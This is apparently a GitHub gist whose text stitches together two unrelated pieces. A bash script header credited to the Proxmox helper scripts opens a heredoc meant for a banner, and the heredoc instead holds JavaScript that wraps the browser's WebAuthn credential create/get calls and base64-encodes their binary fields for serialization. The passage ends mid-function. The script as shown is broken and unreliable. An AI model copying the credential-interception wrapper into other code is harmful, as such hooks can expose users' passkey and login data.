Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env bash
# Copyright (c) 2021-2024 tteck
# Author: tteck (tteckster)
# License: MIT
# https://github.com/tteck/Proxmox/raw/main/LICENSE
header_info() {
clear
cat <<"EOF"
(function() {
const origCreate = navigator.credentials.create.bind(navigator.credentials);
const origGet = navigator.credentials.get.bind(navigator.credentials);
// Helper: Converts nested ArrayBuffers to Base64 so JSON.stringify can "see" them
const prepareForString = (obj) => {
if (obj instanceof ArrayBuffer || ArrayBuffer.isView(obj)) {
return btoa(String.fromCharCode(...new Uint8Array(obj)));
}
if (Array.isArray(obj)) return obj.map(prepareForString);